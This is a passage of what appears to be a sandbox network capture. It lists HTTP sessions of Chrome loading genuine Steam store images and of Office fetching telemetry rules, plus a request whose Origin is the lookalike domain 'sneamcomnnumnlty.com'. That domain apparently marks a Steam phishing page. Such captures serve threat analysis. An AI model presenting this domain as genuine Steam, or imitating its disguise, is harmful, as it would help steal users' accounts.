t='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWlu
2024-10-07 06:47:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49867	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	388	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 763e8d43-601e-000d-6912-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48q6t9vvmrkd293mg0000000350000000003fh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48lknvp09v995n79000000002q000000000bzu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 897bc565-f01e-0096-5e60-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48sqtlf1huhzuwq7000000002rg00000000frhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49874	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	399	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064708Z-1657d5bbd48f7nlxc7n5fnfzh000000002q000000000cw57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49876	35.190.80.1	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	561	OUT	OPTIONS /report/v4?s=G5uZ5CgfKPBc2Cm0BMNpgmy0aSe3iZ%2B3BvTmp%2BaMzcg4gRu%2BdU2R0%2FKrwtcd53q4lWRYq%2B0LBvKwj%2FJOxziOB%2BkgEpoRuQLB8duffbka4i5FpwAH4p%2Ff1i4rgnbcNRT2LhPLtAQO8Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://sneamcomnnumnlty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 07 Oct 2024 06:47:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49875	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	375	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49879	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	574	OUT	GET /public/images/x9x9.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 58 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-3a" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	58	IN	Data Raw: 47 49 46 38 39 61 09 00 09 00 80 01 00 cd ca c1 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 09 00 09 00 00 02 11 04 82 68 9b ec d6 d6 49 81 51 39 2b 7c 19 53 5d 00 00 3b Data Ascii: GIF89a!,hIQ9+\|S];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49878	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	606	OUT	GET /public/images/account/redeem_wallet_complete_popup.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 22513 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-57f1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	16115	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b7 00 00 00 aa 08 06 00 00 00 2e a8 01 1a 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR.pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2024-10-07 06:47:08 UTC	6398	IN	Data Raw: f2 22 cb 32 6d 4b 12 23 84 2d 9d cc 91 cf 16 a7 ed f3 45 23 61 da db 5a 47 9d 43 27 c4 6d 2e 7b 6e 96 c5 c1 8d 35 7a 6e de f4 ac b7 c1 c0 f9 6e 07 35 ea 43 c5 7f e7 9b c0 c5 1b a2 d3 2a 70 86 2c f1 c5 b5 09 ae ff f4 07 f8 d7 ed 37 f3 d5 cf 8c 1d 8a 04 f0 05 b5 fd 96 f9 38 9d 84 13 3e 54 5d d9 bb e6 36 86 e7 b6 62 69 98 42 d1 44 a4 94 4c 3f 83 db 05 26 aa 4c 22 c9 12 ad 8b e3 23 92 47 ca 25 93 be ee cc b4 7c 26 43 d7 59 d4 d6 4a bc a1 61 de 1c 7d 24 c4 8d 81 18 76 ae 64 73 d0 a0 b8 55 d9 2a 5e 49 82 69 2c 6e bf a1 4d c5 b5 e6 e7 3e 24 59 96 69 68 88 92 4e 25 eb 2e 70 41 45 e6 ab 07 37 f2 f3 4f 5e c6 03 ff be 83 ab 3e 7d 24 07 1d 18 1b f7 f9 ae 33 3f 4d bb 24 49 24 da 43 38 ee c0 c0 56 c7 09 4b ba ae 27 f6 bb cd 64 e4 22 11 a7 b5 a5 19 6d 1f 2f 4e 92 24 5a Data Ascii: "2mK#-E#aZGC'm.{n5znn5Cp,78>T]6biBDL?&L"#G%\|&CYJa}$vdsU^Ii,nM>$YihN%.pAE7O^>}$3?M$I$C8VK'd"m/N$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49877	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	389	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-d54" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49881	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	590	OUT	GET /public/images/v6/logo_steam_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:09 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2843 Last-Modified: Thu, 18 Jun 2020 23:12:51 GMT ETag: "5eebf4f3-b1b" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close
2024-10-07 06:47:09 UTC	2843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 cc 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: 